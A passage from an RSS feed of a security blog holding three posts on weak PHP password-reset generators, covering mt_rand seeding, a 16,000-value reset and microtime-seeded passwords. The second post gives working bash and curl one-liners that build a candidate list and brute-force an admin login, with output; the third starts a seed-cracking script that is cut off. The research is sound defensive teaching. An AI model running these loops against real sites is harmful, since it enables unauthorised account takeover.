<p>Second, the set of characters is letters (uppercase + lowercase) and exactly one number. And it looks to me like they put a lot of effort into figuring out just how to put that one number into the password. Initially, I thought this made the password slightly weaker due to the following calculations:</p>
<ul>
<li>7 characters @ 52 choices = 52<sup>7</sup> = 1,028,071,702,528</li>
<li>6 characters @ 52 choices + 1 character @ 10 choices = 52<sup>6</sup> * 10 = 197,706,096,640</li>
</ul>
<p>However, as my friend pointed out, because you don't know where, exactly, the number will be placed, that actually adds an extra multiplier to the strength:</p>
<ul>
<li>6 characters @ 52 choices + 1 characters @ 10 choices + unknown number location = 52<sup>6</sup> * 10 * 7 = 1,383,942,676,480</li>
</ul>
<p>So, in reality, adding a single number does improve the strength, but only by a bit.</p>
<p>Even with the extra number, though, the best we have at 7 characters is about 1.4 trillion choices. As with the others, that's essentially impossible to guess/bruteforce remotely. That's a good thing. However, with a password cracker and 5 million checks/second, it would take a little over 3.2 CPU-days to exhaustively crack all generated passwords, so that can very easily be achieved.</p>
<p>The other issue here is that the only source of entropy is PHP's mt_rand() function. The next section will look at how PHP seeds this function.</p>
<h2>PHP</h2>
<p>All three of these implementations depend, in one way or another, on <a href='http://www.php.net/'>PHP</a>'s mt_rand() function. The obvious question is, how strong is mt_rand()?</p>
<p>I'm only going to look at this from a high level for now. When I have some more time, I'm hoping to dig deeper into this and, with luck, bust it wide open. Stay tuned for that. :)</p>
<p>For now, though, let's look at the function that's used by all three password-reset functions: mt_rand(). mt_rand() is an implementation of the <a href='https://secure.wikimedia.org/wikipedia/en/wiki/Mersenne_Twister'>Mersenne Twister</a> algorithm, which is a well tested random number generator with an advertised average period of 2<sup>19937</sup>-1. That means that it won't repeat until 2<sup>19937</sup>-1 values are generated. I don't personally have the skills to analyze the strength of the algorithm itself, but what I CAN look at is the seed. </p>
<p>Whether using rand() or mt_rand(), PHP automatically seeds the random number generator. The code is in ext/standard/rand.c, and looks like this:</p>
<pre>
PHPAPI <font color="#60ff60"><b>long</b></font>&nbsp;php_rand(TSRMLS_D)
{
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#60ff60"><b>long</b></font>&nbsp;ret;

&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;(!BG(rand_is_seeded)) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;php_srand(GENERATE_SEED() TSRMLS_CC);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#80a0ff">// ...</font>
}
</pre>
<p>Simple enough - if rand() is called without a seed, then seed it with the GENERATE_SEED() macro, which is found in ext/standard/php_rand.h:</p>
<pre>
<font color="#ff80ff">#ifdef PHP_WIN32</font>
<font color="#ff80ff">#define GENERATE_SEED() (((</font><font color="#60ff60"><b>long</b></font><font color="#ff80ff">) (time(</font><font color="#ffa0a0">0</font><font color="#ff80ff">) * GetCurrentProcessId())) ^ 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((</font><font color="#60ff60"><b>long</b></font><font color="#ff80ff">)(</font><font color="#ffa0a0">1000000.0</font><font color="#ff80ff">&nbsp;* php_combined_lcg(TSRMLS_C))))</font>
<font color="#ff80ff">#else</font>
<font color="#ff80ff">#define GENERATE_SEED() (((</font><font color="#60ff60"><b>long</b></font><font color="#ff80ff">) (time(</font><font color="#ffa0a0">0</font><font color="#ff80ff">) * getpid())) ^ 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((</font><font color="#60ff60"><b>long</b></font><font color="#ff80ff">) (</font><font color="#ffa0a0">1000000.0</font><font color="#ff80ff">&nbsp;* php_combined_lcg(TSRMLS_C))))</font>
<font color="#ff80ff">#endif</font>
</pre>
<p>So it's seeded with the current time() (known), process id (weak), and php_combined_lcg(). What the heck is php_combined_lcg? Well, an LCG is a Linear Congruential Generator, a type of random number generator, and it's defined at ext/standard/lcg.c so let's take a look:</p>
<pre>
PHPAPI <font color="#60ff60"><b>double</b></font>&nbsp;php_combined_lcg(TSRMLS_D) <font color="#80a0ff">/*</font><font color="#80a0ff">&nbsp;{{{ </font><font color="#80a0ff">*/</font>
{
&nbsp;&nbsp;&nbsp;&nbsp;php_int32 q;
&nbsp;&nbsp;&nbsp;&nbsp;php_int32 z;

&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;(!LCG(seeded)) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lcg_seed(TSRMLS_C);
&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;MODMULT(<font color="#ffa0a0">53668</font>, <font color="#ffa0a0">40014</font>, <font color="#ffa0a0">12211</font>, <font color="#ffa0a0">2147483563L</font>, LCG(s1));
&nbsp;&nbsp;&nbsp;&nbsp;MODMULT(<font color="#ffa0a0">52774</font>, <font color="#ffa0a0">40692</font>, <font color="#ffa0a0">3791</font>, <font color="#ffa0a0">2147483399L</font>, LCG(s2));

&nbsp;&nbsp;&nbsp;&nbsp;z = LCG(s1) - LCG(s2);
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;(z &lt; <font color="#ffa0a0">1</font>) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;z += <font color="#ffa0a0">2147483562</font>;
&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>return</b></font>&nbsp;z * <font color="#ffa0a0">4.656613e-10</font>;
}
</pre>
<p>This function also needs to be seeded! It's pretty funny to seed a random number generator with another random number generator - what, exactly, does that improve?</p>
<p>Here is what lcg_seed(), in the same file, looks like:</p>
<pre>
<font color="#60ff60"><b>static</b></font>&nbsp;<font color="#60ff60"><b>void</b></font>&nbsp;lcg_seed(TSRMLS_D) <font color="#80a0ff">/*</font><font color="#80a0ff">&nbsp;{{{ </font><font color="#80a0ff">*/</font>
{
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#60ff60"><b>struct</b></font>&nbsp;timeval tv;

&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;(gettimeofday(&amp;tv, <font color="#ffa0a0">NULL</font>) == <font color="#ffa0a0">0</font>) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LCG(s1) = tv.tv_sec ^ (tv.tv_usec&lt;&lt;<font color="#ffa0a0">11</font>);
&nbsp;&nbsp;&nbsp;&nbsp;} <font color="#ffff60"><b>else</b></font>&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LCG(s1) = <font color="#ffa0a0">1</font>;
&nbsp;&nbsp;&nbsp;&nbsp;}
<font color="#ff80ff">#ifdef ZTS</font>
&nbsp;&nbsp;&nbsp;&nbsp;LCG(s2) = (<font color="#60ff60"><b>long</b></font>) tsrm_thread_id();
<font color="#ff80ff">#else</font>&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;LCG(s2) = (<font color="#60ff60"><b>long</b></font>) getpid();
<font color="#ff80ff">#endif</font>

&nbsp;&nbsp;&nbsp;&nbsp;<font color="#80a0ff">/*</font><font color="#80a0ff">&nbsp;Add entropy to s2 by calling gettimeofday() again </font><font color="#80a0ff">*/</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;(gettimeofday(&amp;tv, <font color="#ffa0a0">NULL</font>) == <font color="#ffa0a0">0</font>) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LCG(s2) ^= (tv.tv_usec&lt;&lt;<font color="#ffa0a0">11</font>);
&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;LCG(seeded) = <font color="#ffa0a0">1</font>;
}</pre>
<p>This is seeded with the current time (known), the process id (weak), and the current time again (still known).</p>
<p>So to summarize, unless I'm missing something, PHP's automatic seeding uses the following for entropy:</p>
<ul>
<li>Current time (known value)</li>
<li>Process ID (predictable range)</li>
<li>php_combined_lcg</li>
<ul>
<li>Current time (again)</li>
<li>Process id (again)</li>
<li>Current time (yet again)</li>
</ul>
</ul>
<p>I haven't done any further research into PHP's random number generator, but from what I've seen I don't get a good feeling about it. It would be interesting if somebody took this a step further and actually wrote an attack against PHP's random number implementation. That, or discovered a source of entropy that I was unaware of. Because, from the code I've looked at, it looks like there may be some problems.</p>
<p>An additional issue is that every seed generated is cast to a (long), which is 32-bits. That means that at the very most, despite the ridiculously long period of the mt_rand() function, there are only 4.2 billion possible seeds. That means, at the very best, an application that relies entirely on mt_rand() or rand() for their randomness are going to be a lot less random than they think!</p>
<p>It turns out, after a little research, I'm <a href='http://www.suspekt.org/2008/08/17/mt_srand-and-not-so-random-numbers/'>not the only one</a> who's noticed problems with PHP's random functions. In fact, in that article, Stefan goes over a history of PHP's random number issues. It turns out, what I've found is only the tip of the iceberg!</p>
<h2>Observations</h2>
<p>I hope the last three blogs have raised some awareness on how randomization can be used and abused. It turns out, using randomness is far more complex than people realize. First, you have to know how to use it properly; otherwise, you've already lost. Second, you have to consider how you're generating the it in the first place. </p>
<p>It seems that the vast majority of applications make either one mistake or the other. It's difficult to create "good" randomness, though, and I think the one that does the best job is actually SMF.</p>
<h2>Recommendation</h2>
<p>Here is what I would suggest:</p>
<ul>
<li>Get your randomness from multiple sources</li>
<li>Save a good random seed between sessions (eg, save the last output of the random number generator to the database)</li>
<li>Use cryptographically secure functions for random generation (for example, hashing functions)</li>
<li>Don't limit your seeds to 32-bit values</li>
<li>Collect entropy in the application, if possible (what happens in your application that is impossible to guess/detect/force but that can accumulate?)</li>
</ul>
<p>I'm sure there are some other great suggestions for ensuring your random numbers are cryptographically secure, and I've love to hear them!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2011/mostly-good-password-resets/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Hacking crappy password resets (part 2)</title>
		<link>http://www.skullsecurity.org/blog/2011/hacking-crappy-password-resets-part-2</link>
		<comments>http://www.skullsecurity.org/blog/2011/hacking-crappy-password-resets-part-2#comments</comments>
		<pubDate>Tue, 15 Mar 2011 13:09:41 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Passwords]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=1059</guid>
		<description><![CDATA[Hey, In my last post, I showed how we could guess the output of a password-reset function with a million states. While doing research for that, I stumbled across some software that had a mere 16,000 states. I will show how to fully compromise this software package remotely using the password reset. The code First, [...]]]></description>
			<content:encoded><![CDATA[<p>Hey,</p>
<p>In my <a href='/blog/2011/hacking-crappy-password-resets-part-1'>last post</a>, I showed how we could guess the output of a password-reset function with a million states. While doing research for that, I stumbled across some software that had a mere 16,000 states. I will show how to fully compromise this software package remotely using the password reset. </p>
<h2>The code</h2>
<p>First, let's take a look at the code:</p>
<pre>
<font color="#ffa500">&lt;?php</font>
&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;<font color="#ffa500">(</font><font color="#40ffff">strtolower</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">cfgrow</font><font color="#ffa500">[</font>'<font color="#ffa0a0">email</font>'<font color="#ffa500">])</font><font color="#ffff60"><b>==</b></font><font color="#40ffff">strtolower</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">_POST</font><font color="#ffa500">[</font>'<font color="#ffa0a0">reminderemail</font>'<font color="#ffa500">]))</font>
&nbsp;&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#80a0ff">// generate a random new pass</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">user_pass</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">substr</font><font color="#ffa500">(</font>&nbsp;<font color="#40ffff">MD5</font><font color="#ffa500">(</font>'<font color="#ffa0a0">time</font>'&nbsp;<font color="#ffff60"><b>.</b></font>&nbsp;<font color="#40ffff">rand</font><font color="#ffa500">(</font><font color="#ffa0a0">1</font>, <font color="#ffa0a0">16000</font><font color="#ffa500">))</font>, <font color="#ffa0a0">0</font>, <font color="#ffa0a0">6</font><font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">query</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;&quot;<font color="#ffa0a0">update config set password=MD5('</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">user_pass</font><font color="#ffa0a0">') where [...]</font>&quot;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font><font color="#ffa500">(</font><font color="#40ffff">mysql_query</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">query</font><font color="#ffa500">))</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <font color="#80a0ff">// ...</font>
<font color="#ffa500">?&gt;</font>
</pre>
<h2>The vulnerability</h2>
<p>The vulnerability lies in the password generation:</p>
<pre>&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">user_pass</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">substr</font><font color="#ffa500">(</font>&nbsp;<font color="#40ffff">MD5</font><font color="#ffa500">(</font>'<font color="#ffa0a0">time</font>'&nbsp;<font color="#ffff60"><b>.</b></font>&nbsp;<font color="#40ffff">rand</font><font color="#ffa500">(</font><font color="#ffa0a0">1</font>, <font color="#ffa0a0">16000</font><font color="#ffa500">))</font>, <font color="#ffa0a0">0</font>, <font color="#ffa0a0">6</font><font color="#ffa500">)</font>;</pre>
<p>The new password generated is the md5() of the literal string 'time' (*not* the current time, the *word* "time") concatenated with one of 16,000 random numbers, then truncated to 6 bytes. We can very easily generate the complete password list on the commandline:</p>
<pre>$ seq <font color="#ffa0a0">1</font>&nbsp;<font color="#ffa0a0">16000</font>&nbsp;| xargs <font color="#ffa500">-I</font>&nbsp;XXX sh <font color="#ffa500">-c</font>&nbsp;<font color="#ffff60"><b>&quot;</b></font><font color="#ffa0a0">echo timeXXX | md5sum | cut -b1-6</font><font color="#ffff60"><b>&quot;</b></font></pre>
<p>or, another way:</p>
<pre>$ <font color="#ffff60"><b>for </b></font>i <font color="#ffff60"><b>in</b></font>&nbsp;<font color="#ffa500">`seq </font><font color="#ffa0a0">1</font><font color="#ffa500">&nbsp;</font><font color="#ffa0a0">16000</font><font color="#ffa500">`</font>; <font color="#ffff60"><b>do</b></font>&nbsp;<font color="#ffff60"><b>echo</b></font><font color="#ffa0a0">&nbsp;</font><font color="#ffff60"><b>&quot;</b></font><font color="#ffa0a0">time</font><font color="#ff80ff">$i</font><font color="#ffff60"><b>&quot;</b></font><font color="#ffa0a0">&nbsp;</font><font color="#ffff60"><b>|</b></font>&nbsp;md5sum <font color="#ffff60"><b>|</b></font>&nbsp;cut -b1<font color="#ffa0a0">-6</font></pre>
<p>(By the way, for more information on using xargs, check out a really awesome blog posting called <a href='http://teddziuba.com/2010/10/taco-bell-programming.html'>Taco Bell Programming</a> - it's like real programming, but you can't legally call it "beef")</p>
<p>In either case, you'll wind up with 16,000 different passwords in a file. If you want to speed up the eventual bruteforce, you can eliminate collisions:</p>
<pre>$ seq 1 16000 | xargs -I XXX sh -c "echo XXX | md5sum | cut -b1-6" | sort | uniq</pre>
<p>If you do that, you'll wind up with 15,993 different passwords, ranging from '000b64' to 'fffcc0'. Now all that's left is to try these 15,993 passwords against the site! </p>
<h2>The attack</h2>
<p>You can do this attack any number of ways. You can script up some Perl/Ruby/PHP, you can use a scanner like Burp Suite, or, if you're feeling really adventurous, you can write a quick config file for <a href='http://nmap.org/svn/scripts/http-enum.nse'>http-enum.nse</a>. If anybody takes the time to replicate this with http-enum.nse, you'll win an Internet from me. I promise. </p>
<p>But why bother with all these complicated pieces of software when we have bash handy? All we need to do is try all 15,993 passwords using wget/curl/etc and look for the one page that's different. Done! </p>
<p>So, to download a single page, we'd use:</p>
<pre>$ curl <font color="#ffa500">-s</font>&nbsp;<font color="#ffa500">-o</font>&nbsp;XXX.out <font color="#ffa500">-d</font>&nbsp;<font color="#ffff60"><b>&quot;</b></font><font color="#ffa0a0">user=admin&amp;password=XXX</font><font color="#ffff60"><b>&quot;</b></font>&nbsp;<font color="#ffff60"><b>&lt;</b></font>site<font color="#ffff60"><b>&gt;</b></font>/admin/?<font color="#40ffff">x</font>=login
</pre>
<p>This will create a file called XXX.out on the filesystem, which is the output from a login attempt with the password XXX. Now we use xargs to do that for every password:</p>
<pre>$ cat passwords.txt | xargs <font color="#ffa500">-P32</font>&nbsp;<font color="#ffa500">-I</font>&nbsp;XXX curl <font color="#ffa500">-s</font>&nbsp;<font color="#ffa500">-o</font>&nbsp;XXX.out <font color="#ffff60"><b>\</b></font>
&nbsp;&nbsp;<font color="#ffa500">-d</font>&nbsp;<font color="#ffff60"><b>&quot;</b></font><font color="#ffa0a0">user=admin&amp;password=XXX</font><font color="#ffff60"><b>&quot;</b></font>&nbsp;<font color="#ffff60"><b>&lt;</b></font>site<font color="#ffff60"><b>&gt;</b></font>/admin/?<font color="#40ffff">x</font>=login
</pre>
<p>Which will, in 32 parallel processes, attempt to log in with each password and write the result to a file named &lt;password&gt;.out. Now all we have to do figure out which one's different! After waiting for it to finish (or not.. it takes about 5-10 minutes), I check the folder:</p>
<pre>$ md5sum *.out | head
96ffbb1ba380de9fc9e7a3fe316ff631  000176.out
96ffbb1ba380de9fc9e7a3fe316ff631  0014c2.out
96ffbb1ba380de9fc9e7a3fe316ff631  001e7e.out
96ffbb1ba380de9fc9e7a3fe316ff631  002035.out
96ffbb1ba380de9fc9e7a3fe316ff631  00217c.out
96ffbb1ba380de9fc9e7a3fe316ff631  002c47.out
96ffbb1ba380de9fc9e7a3fe316ff631  003b9e.out
96ffbb1ba380de9fc9e7a3fe316ff631  004bff.out
96ffbb1ba380de9fc9e7a3fe316ff631  0057b8.out
96ffbb1ba380de9fc9e7a3fe316ff631  008dea.out</pre>
<p>Sure enough, it's tried all the passwords and they all seemed to download the same page! Now we use grep -v to find the one and only download that's different:</p>
<pre>$ md5sum *.out | grep -v 96ffbb1ba380de9fc9e7a3fe316ff631
d41d8cd98f00b204e9800998ecf8427e  b19261.out</pre>
<p>And bam! We now know the password is "b19261". </p>
<h2>Conclusion</h2>
<p>So there you have it - abusing a password reset to log into an account you shouldn't. And remember, even though we didn't test this with 1,000,000 possible passwords like last week's blog, it would only take about 60 times as long - so instead of a few minutes, it'd be a few hours. And as I said last week, that million-password reset form was actually pretty common. </p>
<p>And in case you think this is hocus pocus or whatever, I wrote the code shown here live, on stage, at Winnipeg Code Camp. It's towards the end of <a href='http://vimeo.com/20718776'>my talk</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2011/hacking-crappy-password-resets-part-2/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Hacking crappy password resets (part 1)</title>
		<link>http://www.skullsecurity.org/blog/2011/hacking-crappy-password-resets-part-1</link>
		<comments>http://www.skullsecurity.org/blog/2011/hacking-crappy-password-resets-part-1#comments</comments>
		<pubDate>Wed, 09 Mar 2011 14:14:05 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Passwords]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=1054</guid>
		<description><![CDATA[Greetings, all! This is part one of a two-part blog on password resets. For anybody who saw my talk (or watched the video) from Winnipeg Code Camp, some of this will be old news (but hopefully still interesting!) For this first part, I'm going to take a closer look at some very common (and very [...]]]></description>
			<content:encoded><![CDATA[<p>Greetings, all!</p>
<p>This is part one of a two-part blog on password resets. For anybody who saw my talk (or watched <a href='http://vimeo.com/20718776'>the video</a>) from <a href='http://www.winnipegcodecamp.com/'>Winnipeg Code Camp</a>, some of this will be old news (but hopefully still interesting!)</p>
<p>For this first part, I'm going to take a closer look at some very common (and very flawed) code that I've seen in on a major "snippit" site and contained in at least 5-6 different applications (out of 20 or so that I reviewed). The second blog will focus on a single application that does something much worse. </p>
<h2>Password reset?</h2>
<p>First off, what is a password reset? You probably know this already, so feel free to skip to the next section for the good stuff.</p>
<p>Many sites offer a feature for users who forgot their passwords. They click a link, and it sends them a temporary password (or, for some sites, it changes their site password to a temporary password, effectively locking out the user till they check their email).</p>
<p>These generally work by generating a one-time password/token/etc, and emailing it to the address on record. The legitimate user receives the email, and clicks the link/uses the temp password/etc to log back into their account, at which point they ought to (or are forced to) change their password.</p>
<p>Some reset schemes require the user to answer their "secret questions", which often involves knowing information that nobody else (<a href='http://en.wikipedia.org/wiki/Sarah_Palin_email_hack'>except Facebook</a>) knows. I'm not a fan of the "secret question" and "secret answer" strategy myself, and they were torn apart by experts after Sarah Palin's email was compromised, so we aren't going to talk about them. </p>
<p>It is widely known that passwords are the weakest point in most security systems. Well, as it turns out, password resets are often the weakest point in password schemes. No matter how good your password policies, login procedures, etc are, a bad password reset can compromise an entire system. Here's a few ways:</p>
<ul>
<li>Poorly chosen random passwords (that's what this post is about)</li>
<li>Poorly validated email addresses (can I reset the password to *my* address?)</li>
<li>Relying entirely on secret questions/answers (Palin hack)</li>
<li>Not extending brute-force protection (or logging) to the reset tokens</li>
</ul>
<p>The last point is somewhat interesting, but none of the reset schemes I found in applications used reset tokens so I'm not going to cover them.</p>
<h2>Methodology</h2>
<p>To do this research, I found a large repository of PHP projects, clicks on the "blogs" category, and downloaded a whole bunch of them. In the end, I had about 20 different applications. I didn't keep a list, but from memory, I found the following:</p>
<ul>
<li>10 had no accounts, no passwords, or no ability to recover passwords</li>
<li>6 used a password-reset function that is somewhat weak and very common (and can be found on snippits sites) - the scheme that I'm covering this week</li>
<li>3 emailed back the passwords in plaintext</li>
<li>1 used a *really* bad reset scheme (that's the one I'm covering next post)</li>
</ul>
<h2>Motivation</h2>
<p>Let's say you compromise a site (for a legitimate and ethical penetration test, of course). You wind up with 1,000,000 accounts from a database that happens to use this password generation technique (either for password resets or for generating initial passwords). Rather than wasting time cracking these passwords, you want to eliminate every "generated" password from the list. How can you do that?</p>
<p>Or another scenario: you realize that a company's corporate "password generator" toolbar utility is using this algorithm to generate "secure" passwords within a company. Knowing that some users are going to misuse this utility, and use the same "strong" passwords on multiple accounts, you compromise a weak host, crack a user's 14-character "random" password, then use that to log into their other systems.</p>
<p>How the heck do we crack a 14-character random password, you ask? Let's fine out!</p>
<h2>The code</h2>
<p>We're going to focus on the six or so sites that used a common password reset function. Here's the snippit:</p>
<pre>
<font color="#ffa500">&lt;?php</font>
&nbsp;&nbsp;<font color="#ff80ff">function</font>&nbsp;generate_random_password<font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">length</font><font color="#ffa500">)</font>
&nbsp;&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;'<font color="#ffa0a0">abcdefghijkmnopqrstuvwxyz023456789!@#$</font>';

&nbsp;&nbsp;&nbsp;&nbsp;<font color="#40ffff">srand</font><font color="#ffa500">((</font><font color="#60ff60"><b>double</b></font><font color="#ffa500">)</font><font color="#40ffff">microtime</font><font color="#ffa500">()</font>&nbsp;<font color="#ffff60"><b>*</b></font>&nbsp;<font color="#ffa0a0">1000000</font><font color="#ffa500">)</font>;

&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">passwd</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;'';
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">chars_length</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">strlen</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font><font color="#ffa500">)</font>&nbsp;<font color="#ffff60"><b>-</b></font>&nbsp;<font color="#ffa0a0">1</font>;

&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>for</b></font>&nbsp;<font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffa0a0">0</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>&lt;</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">length</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font><font color="#ffff60"><b>++</b></font><font color="#ffa500">)</font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">passwd</font>&nbsp;<font color="#ffff60"><b>.=</b></font>&nbsp;<font color="#40ffff">substr</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font>, <font color="#ffa500">(</font><font color="#40ffff">rand</font><font color="#ffa500">()</font>&nbsp;<font color="#ffff60"><b>%</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">chars_length</font><font color="#ffa500">)</font>, <font color="#ffa0a0">1</font><font color="#ffa500">)</font>;

&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>return</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">passwd</font>;
&nbsp;&nbsp;<font color="#ffa500">}</font>
<font color="#ffa500">?&gt;</font>
</pre>
<p>At first glance, this didn't look too bad. I was a little disappointed, to be honest. Using srand() in modern PHP versions isn't recommended, but it appears to be seeded with a high-resolution timer - that could make it difficult to guess. In theory. </p>
<p>If you were to generate a password with strong randomization and a decent length (say, 14 characters), even with a fast/weak hashing algorithm like md5 it'll be nearly impossible to crack. We need a better way!</p>
<p>I decided to look at how strong the seed passed to srand() actually was. To do this, I replaced srand() with echo():</p>
<pre>
<font color="#ffa500">&lt;?php</font>
&nbsp;&nbsp;<font color="#ffff60"><b>for</b></font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffa0a0">0</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>&lt;</b></font>&nbsp;<font color="#ffa0a0">3</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font><font color="#ffff60"><b>++</b></font><font color="#ffa500">)</font>
&nbsp;&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ff80ff">echo</font><font color="#ffa500">((</font><font color="#60ff60"><b>double</b></font><font color="#ffa500">)</font><font color="#40ffff">microtime</font><font color="#ffa500">()</font>&nbsp;<font color="#ffff60"><b>*</b></font>&nbsp;<font color="#ffa0a0">1000000</font><font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ff80ff">echo</font>&nbsp;&quot;<font color="#ffa500">\n</font>&quot;;
&nbsp;&nbsp;<font color="#ffa500">}</font>
<font color="#ffa500">?&gt;</font>
</pre>
<p>Then ran the application a few times to get an idea of how the seed worked:</p>
<pre>$ php srand.php
155118
155198
155213
$ php srand.php
898454
898536
898552
$ php srand.php
673755
673844
673860
</pre>
<p>Hmm! It looks like the random seed is actually a fairly hard-to-guess integer between 0 and 1,000,000. Fortunately, 1,000,000 is a small number. Suddenly, this is a lot easier.</p>
<p>In my next blog, I'm going to look at how we can use commandline tools to do a bruteforce remotely and guess a password this way, but for now let's see how we can crack the passwords using two methods: php and john the ripper.</p>
<h2>Cracking it with PHP</h2>
<p>If for whatever reason you only have a single hash that you want to crack, this is by far the easiest way. I basically modified the original function (found above) to take an extra parameter - the hash - and to generate random passwords with different seeds until it finds one that matches. Here's the code:</p>
<pre>
<font color="#ffa500">&lt;?php</font>
&nbsp;&nbsp;<font color="#ff80ff">function</font>&nbsp;generate_random_password<font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">length</font>, <font color="#ffff60"><b>$</b></font><font color="#40ffff">hash</font><font color="#ffa500">)</font>
&nbsp;&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;'<font color="#ffa0a0">abcdefghijkmnopqrstuvwxyz023456789!@#$</font>';

&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>for</b></font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">j</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffa0a0">0</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">j</font>&nbsp;<font color="#ffff60"><b>&lt;</b></font>&nbsp;<font color="#ffa0a0">1000000</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">j</font><font color="#ffff60"><b>++</b></font><font color="#ffa500">)</font>
